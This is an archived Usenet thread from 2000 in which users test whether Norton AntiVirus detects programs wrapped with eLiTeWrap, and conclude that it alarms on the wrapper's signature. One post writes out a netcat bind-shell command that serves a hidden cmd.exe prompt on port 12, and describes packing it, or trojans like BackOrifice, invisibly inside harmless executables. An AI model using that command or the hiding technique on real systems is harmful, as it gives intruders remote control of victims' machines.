🚀 go-pugleaf

On Fri, 21 Apr 2000 16:48:39 +0100, "Baba" <spammers@pleasedie.com>
wrote:

>Security guys would have heard of netcat (available from www.l0pht.com),
>"the TCP/IP swiss army knife".  It is available in Unix and NT versions.
>
>You may also have heard of "eLiTeWrap", a program which can be used to hide
>trojans (you can set it to pack a harmless .EXE file like a game, with
>BackOrifice, and have them both unpack and execute, one executing visibly,
>and one hidden).
>
>Of course, netcat is not a virus or trojan and therefore NAV2000 did not
>detect anything.  However, when I used eLiTeWrap to pack netcat with a batch
>file which contained the single line:
>
>nc -L -d -e cmd.exe -p 12
>
>(If this command was executed on an NT system, netcat would listen on port
>12, in stealth mode, and anybody connecting to port 12 would get a command
>prompt.)
>
>So anyway, I had created a program using eLiTeWrap which would, invisibly,
>unpack netcat and then run the above-mentioned batch file.
>
>And guess what?
>
>NAV2000 picked up this program I had created as being infected with
>"Backdoor.Trojan".  Is this Symantec's "Bloodhound" technology at work?
>It's amazing!

Maybe not. Objects detected by the Bloodhound heurisitics are normally
identified with "Bloodhound" in the name. Did you also pack some
innocent program with elitewrap and see what NAV had to say about
that? It may be alarming on elitewrap itself.

On Fri, 21 Apr 2000, Baba wrote:

[snip]
> NAV2000 picked up this program I had created as being infected with
> "Backdoor.Trojan".  Is this Symantec's "Bloodhound" technology at work?
> It's amazing!

from my observations, when nav's bloodhound technology alerts on
something, it includes the word "bloodhound"... more likely you weren't
the first person to think of this wrapper idea of yours...

--
". . . and i was looking so good, shamoo took a shining to me. and they're
 so smart those things, you know, they got all these human emotions. love,
 lust, green hundred year old eyed jealousy. barthalamoo - was *livid*.
 unbeknownst to me, i can't hear a god damned thing underwater."

> Maybe not. Objects detected by the Bloodhound heurisitics are normally
> identified with "Bloodhound" in the name. Did you also pack some
> innocent program with elitewrap and see what NAV had to say about
> that? It may be alarming on elitewrap itself.

You're right.  I packed a batch file which contained "echo hello" (pretty
harmless, eh?) with elitewrap, and the alert window came up saying the file
I had created was infected with "Backdoor.Trojan".

I scanned the elitewrap app itself, and NAV said that no viruses were
detected.  Strange.  I'll send elitewrap to SARC just in case it really is
creating a trojan (but if it is, why didn't NAV detect anything in the
elitewrap program?)

Thanks,

--
Baba the Cat
"I have studied many philosophers and many cats. The wisdom of cats is
infinitely superior." - Hippolyte Taine

"Baba" <spammers@pleasedie.com> wrote:

>> Maybe not. Objects detected by the Bloodhound heurisitics are normally
>> identified with "Bloodhound" in the name. Did you also pack some
>> innocent program with elitewrap and see what NAV had to say about
>> that? It may be alarming on elitewrap itself.
>
>You're right.  I packed a batch file which contained "echo hello" (pretty
>harmless, eh?) with elitewrap, and the alert window came up saying the file
>I had created was infected with "Backdoor.Trojan".
>
>I scanned the elitewrap app itself, and NAV said that no viruses were
>detected.  Strange.  I'll send elitewrap to SARC just in case it really is
>creating a trojan (but if it is, why didn't NAV detect anything in the
>elitewrap program?)

I doubt if its creating a trojan. NAV will be alarming on the
"unwrapping" code (I don't know what that program does, maybe it
compresses, encrypts, or something). There are probably one or more
known Backdoors that are processed with elitewrap.

Good idea to send it to Symantec. They'll want to be sure that they
are alarming on real trojans, not just the elitewrap code.

Bob

> I doubt if its creating a trojan. NAV will be alarming on the
> "unwrapping" code (I don't know what that program does, maybe it
> compresses, encrypts, or something). There are probably one or more
> known Backdoors that are processed with elitewrap.
>
> Good idea to send it to Symantec. They'll want to be sure that they
> are alarming on real trojans, not just the elitewrap code.

Yes, it seems that NAV is alarming on elitewrap code.  I scanned my whole
system and there is no "Backdoor.Trojan".

Elitewrap does not compress or encrypt, it stores the files that you pack,
as it is, within the .EXE created.

It is true that elitewrap can be, and has been, used for dark things (you
can use it to pack an innocent game with a virus, and have them both execute
when the file is run, one executing visibly, and the other hidden), but it
is freeware and people could use it for nicer things too.

The people at SARC seem to be machines.  I sent elitewrap to them and they
said it was not infected.  I sent the file I had created using elitewrap,
and they said it was infected.  Nothing else.  Another thing is that I got
the reply immediately, within a few minutes, which makes me think there
can't be a human at the other end.

I thought NAV was really good, when it alarmed first on the file I had
created (the one that listened on port 12 and sent back a command prompt),
but it seems it's just alarming on the elitewrap signature.  I'm a little
disappointed :-(

I think I'll contact NAV tech support and tell them about it.

Thanks for your help.

--
Baba the Cat
"I have studied many philosophers and many cats. The wisdom of cats is
infinitely superior." - Hippolyte Taine